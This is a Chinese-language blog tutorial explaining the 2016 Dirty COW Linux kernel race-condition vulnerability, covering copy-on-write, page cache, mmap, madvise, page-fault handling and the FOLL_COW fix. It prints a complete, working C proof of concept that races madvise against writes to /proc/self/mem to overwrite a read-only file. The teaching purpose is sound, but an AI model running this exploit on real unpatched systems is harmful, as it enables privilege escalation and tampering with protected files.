赞
踩
Dirty COW(脏牛)
漏洞是一种影响Linux操作系统的本地特权升级漏洞,其全称为"Copy-On-Write"(写时复制)漏洞。这个漏洞在2016年被公开,并且影响了大量的Linux内核版本。
Dirty COW漏洞的根本原因是在Linux在竞态条件下的复制时写入(Copy-On-Write)
机制的实现存在缺陷。Copy-On-Write是一种内存管理技术,它允许多个进程共享同一个物理内存页面的副本,直到其中一个进程尝试修改该页面时,系统才会复制出一个新的页面供修改进程使用。
竞态条件(Race Condition)
是多个并发操作或线程访问共享资源时可能出现的一种问题。竞态条件发生在多个操作之间存在依赖关系,并且操作的执行顺序会影响最终的结果。
听起来似乎比较复杂,我们可以简单一点
假设有一个变量a
a="dirty"
同时还有另一个变量b
b=a
尽管这是两个变量,但它们都指向同一个内存对象,因为不需要为相同的值占用两倍的内存量。但如果修改了b变量,操作系统就会为这个变量分配单独的内存
。
b+="cow"
修改时,内核执行了一下操作:
为新修改的变量分配内存
读取正在复制的对象的原始内容
对它执行任何必要的更改,即附加“cow
”
将修改后的内容写入新分配的内存空间
在步骤 2 和 4 之间存在竞态条件,会使内存映射器将修改后的内容写入原始内存空间,而不是新分配的空间。这样,我们最终会修改 a
这个 原始对象而不是 b
,即使我们只有 a
的只读权限,仍然可以通过竞态条件绕过。
接下来我们可以通过一个小实验来理解这个过程
本实验的目标是使用 Dirty Cow 漏洞修改只读文件。
首先通过root创建一个其他人都只能读的只读文件test.txt
接着通过gcc编译一下代码
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
int f=open("test.txt", O_RDONLY);
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
char *position = strstr(map,"dirty");
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
void *writeThread(void *arg)
{
char *content= "cow";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
int i = 0;
for(i = 0; i < 200000000; i++) {
lseek(f, offset, SEEK_SET);
write(f, content, strlen(content));
}
}
void *madviseThread(void *arg)
{
int file_size = (int) arg;
int i = 0;
for(i = 0; i < 200000000; i++) {
madvise(map, file_size, MADV_DONTNEED);
}
}
可以发现文件内容被我们给修改了
首先简单看一下主函数代码,在这之前,我们得先了解linux中的Page Cache
在Linux中,Page Cache(页缓存)
是一种用于加速文件系统性能的内核机制。Page Cache是一种缓存,它将磁盘上的文件数据以页的形式缓存在内存中,以便快速响应对文件的读取和写入操作。
当进程通过系统调用读取文件时,Linux内核会尝试从Page Cache
中查找相应的数据。如果数据已经缓存在Page Cache
中,内核可以直接将数据返回给进程,避免了从磁盘读取的开销,从而提高读取性能。
同样地,当进程进行写入操作时,内核会将数据写入Page Cache,并将数据标记为已修改(dirty)
。然后,内核会根据一定的策略将这些修改的数据异步地刷新回磁盘
,以确保数据持久化。这种延迟写入的方式可以提高写入性能,减少频繁的磁盘IO操作。
其中,mmap()
是一个系统调用函数,用于在进程的虚拟地址空间中创建一个新的内存映射区域。它可以将文件或其他资源映射到进程的内存中,也可以用于创建匿名的、仅在内存中存在的映射区域。
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
mmap()
函数接受六个参数:
addr
:映射区域的首选地址。通常传入NULL
,让操作系统自动选择一个合适的地址。
length
:映射区域的长度(以字节为单位)。
prot
:内存保护标志,指定映射区域的访问权限。常见的选项有:PROT_READ
:可读。PROT_WRITE
:可写。PROT_EXEC
:可执行。
flags
:映射选项标志,用于控制映射区域的行为。常见的选项有:
MAP_SHARED
:与其他进程共享映射的文件或资源。MAP_PRIVATE
:创建私有的映射区域,对其所做的修改不会影响原始文件或资源。MAP_ANONYMOUS
:创建匿名的映射区域,不与文件关联,仅在内存中存在。fd
:要映射的文件描述符,如果创建匿名映射,则为-1。
offset
:映射的文件中的偏移量,通常为0。
mmap创建的内存映射就是将磁盘文件的内容放到了Page Cache
里。
这段代码一共创建了三个线程,主线程
、writeThread
和 madviseThread
,主线程创建了私有的映射区域并将我们的文件映射到内存,找到我们要替换的内容的位置,然后创建两个线程来产生竞态条件
int main(int argc, char *argv[])
{
pthread_t pth1, pth2; // 声明两个线程标识符
struct stat st; // 声明一个stat结构体变量,用于获取文件的状态信息
int file_size; // 声明一个整数变量,用于存储文件大小
int f = open("test.txt", O_RDONLY); // 打开一个名为"test.txt"的文件,以只读方式打开,并返回文件描述符
fstat(f, &st); // 获取文件的状态信息,将结果存储在st结构体中
file_size = st.st_size; // 获取文件的大小,赋值给file_size变量
map = mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0); // 将文件映射到内存中,返回映射区的起始地址,存储在map指针中
char *position = strstr(map, "dirty"); // 在映射区中搜索字符串"dirty",返回第一次出现的位置的指针,存储在position指针中
pthread_create(&pth1, NULL, madviseThread, (void *)file_size); // 创建一个线程,执行madviseThread函数,并将file_size作为参数传递
pthread_create(&pth2, NULL, writeThread, position); // 创建另一个线程,执行writeThread函数,并将position作为参数传递
pthread_join(pth1, NULL); // 等待线程pth1的结束
pthread_join(pth2, NULL); // 等待线程pth2的结束
return 0;
}
然后是madviseThread,在这之前先了解一下madvise
函数
madvise()
是一个系统调用函数,用于向操作系统提供有关内存映射区域使用方式的提示信息。它的原型如下:
#include <sys/mman.h>
int madvise(void *addr, size_t length, int advice);
madvise()
函数接受三个参数:
addr
:指向欲操作的内存区域的起始地址。length
:欲操作的内存区域的长度(以字节为单位)。advice
:对内存区域使用方式的提示信息,使用MADV_*
常量之一。madvise()
函数的常用选项(advice
参数)如下:
MADV_NORMAL
:默认选项,没有特殊提示。
MADV_RANDOM
:内存区域将以随机访问方式使用。
MADV_SEQUENTIAL
:内存区域将以顺序访问方式使用。
MADV_WILLNEED
:预先告知操作系统,内存区域将很快被使用,建议提前加载至内存。
MADV_DONTNEED
:告知操作系统,内存区域的内容不再需要,可以被丢弃或回收。
MADV_REMOVE
:从内存中删除映射区域,但保留文件内容。
MADV_DONTFORK
:禁止映射区域被子进程继承。
madviseThread函数:
void *madviseThread(void *arg)
{
int file_size = (int)arg; // 获得传进来的文件大小
int i = 0;
for (i = 0; i < 200000000; i++) {
madvise(map, file_size, MADV_DONTNEED); //告诉操作系统,该内存区域的内容不再需要,可以被丢弃或回收
}
}
madviseThread要干的事非常简单,就是不断丢弃映射内容的副本页,这将导致指向副本页的页表项被清除
再来看看writeThread
void *writeThread(void *arg)
{
char *content = "cow"; // 要写入内存的内容
off_t offset = (off_t)arg; // 要写入的内存偏移量,将void指针参数转换为off_t类型
int f = open("/proc/self/mem", O_RDWR); // 以可读写方式打开当前进程的内存文件
int i = 0;
for(i = 0; i < 200000000; i++) {
// 将文件指针移动到之间查找到“dirty”的位置
lseek(f, offset, SEEK_SET);
// 向内存写入数据
write(f, content, strlen(content));
}
}
writeThread
函数将指定的内容(“cow”)通过/proc/self/mem
写入内存,诶?这里似乎出现了一个问题,我们之前通过mmap返回的内存映射不是只读的吗?那这里对该位置尝试写入能写成功吗?而且就算写成功,写的也是内存映射中的内容,和原来的本地磁盘上的内容有什么联系?不急,我们接着往下看
这里先讲讲linux的缺页中断
Linux的缺页中断处理方式大致可以分为以下几个步骤:
了解完之后我们开始分析整个过程(初略的讲一下,具体的代码逻辑可以看blingblingxuanxuan的文章)
首先在主函数调用完mmap之后将文件内容以只读的形式映射到了内存中,然而相应的页表还未来得及建立
writeThread
进程通过虚拟地址尝试访问这个页,但页表为空
,触发缺页中断
,不同的情况有不同的处理方式,而这里发生缺页以后,内核根据根据访问flags(FOLL_WRITE,写请求)
和mmap类型(VM_PRIVATE,私有映射区域
),在物理内存上将page_cache做了一份拷贝(COW),也就是创建一个新的物理页(称为副本页),然后将原始页的内容拷贝到新的物理页中,并使用副本页建立页表,映射给进程使用(联系到之前的例子,对b进行修改,内核拷贝了一份新的地址给b)。同时标记页表为只读RO
和脏页dirty
解决完问题,writeThread
继续尝试写操作,当查找页表时,发现所请求的页表项被标记为只读(read-only)
,但是进程试图对该页进行写操作,Linux 的处理方式是将写意图(write intent)去掉,即FOLL_WRITE=0
,同时会复制一份新的内存区域,并将这份新的内存区更新到页表中,并将这份新的内存区域的权限设置为可写
,内核重新执行引发页面错误的那条指令。
正常情况下,程序拿到新的页表项找到物理内存就可以开始做写操作了,这个写操作是在新的内存页中操作的,和原来的内存页中无关(类似于修改了b,但和a无关)
诶!!!好巧不巧,正好此时madviseThread
执行到madvice
函数,释放了对应的虚拟内存空间,把这个页表的存在位清空
了。
之前writeThread本应拿到的页表项被madviseThread给清空了,所以又发生了缺页中断,和第一次一样,只不过这一次由于访问flags(FOLL_WRITE=0)
,认为没有写意图,就直接返回page cache
这个物理内存以建立页表关系,所以writeThread就这样拿到了对应着page cache的页表项,并通过kmap()
映射绕过mmap映射的读写限制,完成强制写内存
page cache的数据标记为已修改(dirty)
,就会通过page cache写回机制覆盖调原有的磁盘文件,至此,仅可读文件被成功修改。
上述所有的流程都是只在一次for循环中完成的,过程可参考一下流程图
linux增加了一个FOLL_COW属性,第二次缺页中断后FOLL_WRITE不会置为0,而是加上一个FOLL_COW
的属性,这样第三次的缺页中断FOLL_WRITE依旧等于1
参考:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。